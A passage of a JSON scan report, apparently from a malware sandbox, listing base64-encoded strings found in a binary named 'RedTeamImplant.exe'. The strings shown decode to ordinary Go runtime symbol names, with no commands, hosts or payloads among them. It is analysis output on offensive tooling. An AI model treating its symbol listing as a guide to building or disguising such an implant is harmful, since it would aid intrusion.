Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy4oKnJ1bnRpbWVTdGRlcnIpLldyaXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy4oKlNldHRpbmcpLkluY05vbkRlZmF1bHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy4oKlNldHRpbmcpLkluY05vbkRlZmF1bHQtZm0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy4oKlNldHRpbmcpLk5hbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy4oKlNldHRpbmcpLnJlZ2lzdGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy4oKlNldHRpbmcpLnJlZ2lzdGVyLWZt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy4oKlNldHRpbmcpLlVuZG9jdW1lbnRlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy4oKlNldHRpbmcpLlZhbHVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy4oKlNldHRpbmcpLlZhbHVlLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy5pbml0LjA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy5sb29rdXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy5OZXc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy5uZXdJbmNOb25EZWZhdWx0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy5wYXJzZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy5yZWdpc3Rlck1ldHJpYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy5zZXROZXdJbmNOb25EZWZhdWx0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy5zZXRVcGRhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy51cGRhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy51cGRhdGUuZGVmZXJ3cmFwMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy51cGRhdGUuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zy51cGRhdGUuZnVuYzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Z3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Z3MuTG9va3Vw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvaXRvYS5JdG9h","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvaXRvYS5VaXRvYQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvaXRvYS5VaXRveA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkRlYWRsaW5lRXhjZWVkZWRFcnJvcikuRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKmVyck5ldENsb3NpbmcpLkVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5hZGRPZmZzZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5DbG9zZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5jbG9zaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5kZWNyZWY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5kZXN0cm95","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5EaXNhc3NvY2lhdGVJT0NQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5EaXNhc3NvY2lhdGVJT0NQLmRlZmVyd3JhcDE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5lb2ZFcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5pbmNyZWY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5Jbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5wb2xsYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5SZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5SZWFkLmRlZmVyd3JhcDE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5SZWFkLmRlZmVyd3JhcDI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5SZWFkLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5SZWFkLmZ1bmMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5yZWFkQ29uc29sZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5yZWFkTG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5yZWFkVW5sb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5zZXRPZmZzZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5Xcml0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5Xcml0ZS5kZWZlcndyYXAx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5Xcml0ZS5kZWZlcndyYXAy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5Xcml0ZS5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS5Xcml0ZS5mdW5jMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS53cml0ZUNvbnNvbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS53cml0ZUxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKkZEKS53cml0ZVVubG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKmZkTXV0ZXgpLmRlY3JlZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKmZkTXV0ZXgpLmluY3JlZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKmZkTXV0ZXgpLmluY3JlZkFuZENsb3Nl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKmZkTXV0ZXgpLnJ3bG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKmZkTXV0ZXgpLnJ3dW5sb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKm9wZXJhdGlvbikuY2xvc2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKm9wZXJhdGlvbikuSW5pdEJ1Zg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKm9wZXJhdGlvbikub3ZlcmxhcHBlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKm9wZXJhdGlvbikuc2V0RXZlbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKnBvbGxEZXNjKS5jbG9zZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKnBvbGxEZXNjKS5ldmljdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKnBvbGxEZXNjKS5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKnBvbGxEZXNjKS5wb2xsYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKnBvbGxEZXNjKS5wcmVwYXJl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKnBvbGxEZXNjKS53YWl0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC4oKnBvbGxEZXNjKS53YWl0Q2FuY2VsZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5jYW5jZWxJTw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5jaGVja1NldEZpbGVDb21wbGV0aW9uTm90aWZpY2F0aW9uTW9kZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5jb252ZXJ0RXJy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5lcnJDbG9zaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5lcnJOZXRDbG9zaW5nLkVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5lcnJub0Vycg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5leGVjSU8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5pbml0LmZ1bmMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5pbml0Lk9uY2VGdW5jLmZ1bmM0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5pbml0Lk9uY2VGdW5jLmZ1bmM0LjE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5pbml0Lk9uY2VGdW5jLmZ1bmM0LjEuMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5ydW50aW1lX3BvbGxDbG9zZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5ydW50aW1lX3BvbGxPcGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5ydW50aW1lX3BvbGxSZXNldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5ydW50aW1lX3BvbGxTZXJ2ZXJJbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5ydW50aW1lX3BvbGxVbmJsb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5ydW50aW1lX3BvbGxXYWl0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5ydW50aW1lX3BvbGxXYWl0Q2FuY2VsZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5ydW50aW1lX1NlbWFjcXVpcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC5ydW50aW1lX1NlbXJlbGVhc2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcG9sbC53YWl0SU8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGUuKCpydHlwZSkuQ29tcGFyYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGUuKCpydHlwZSkuRWxlbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGUuKCpydHlwZSkuTGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGUuKCpydHlwZSkuU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGUuZWxlbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGUucmVzb2x2ZU5hbWVPZmY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGUucnR5cGUuQ29tcGFyYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGUucnR5cGUuRWxlbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGUucnR5cGUuTGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGUucnR5cGUubmFtZU9mZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGUucnR5cGUuU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGUudG9UeXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcmVmbGVjdGxpdGUuVHlwZU9m","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpCb29sKS5Mb2Fk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpCb29sKS5TdG9yZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpGbG9hdDY0KS5Mb2Fk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpGbG9hdDY0KS5TdG9yZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpJbnQzMikuQWRk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpJbnQzMikuQ29tcGFyZUFuZFN3YXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpJbnQzMikuTG9hZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpJbnQzMikuU3RvcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpJbnQzMikuU3dhcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpJbnQ2NCkuQWRk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpJbnQ2NCkuQ29tcGFyZUFuZFN3YXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpJbnQ2NCkuTG9hZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpJbnQ2NCkuU3RvcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpJbnQ2NCkuU3dhcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLjVmNTY2YjgwNjBhZjVkY2YyYmIzMjU5OWYwZDkwZDliNmMwMDJjZDQ0NWYyMjE1OWI4NmVkZjQ1ZTIzYTVkYWVdKS5Db21wYXJlQW5kU3dhcE5vV0I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLjVmNTY2YjgwNjBhZjVkY2YyYmIzMjU5OWYwZDkwZDliNmMwMDJjZDQ0NWYyMjE1OWI4NmVkZjQ1ZTIzYTVkYWVdKS5Mb2Fk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLmZ1bmMoKV0pLkNvbXBhcmVBbmRTd2Fw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLmZ1bmMoKV0pLkxvYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLmZ1bmMoc3RyaW5nKSBmdW5jKCldKS5Mb2Fk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLmZ1bmMoc3RyaW5nKSBmdW5jKCldKS5TdG9yZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLmZ1bmMoc3RyaW5nLCBzdHJpbmcpXSkuTG9hZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLmZ1bmMoc3RyaW5nLCBzdHJpbmcpXSkuU3RvcmU=","type":"Ansi","source":"Memory/File 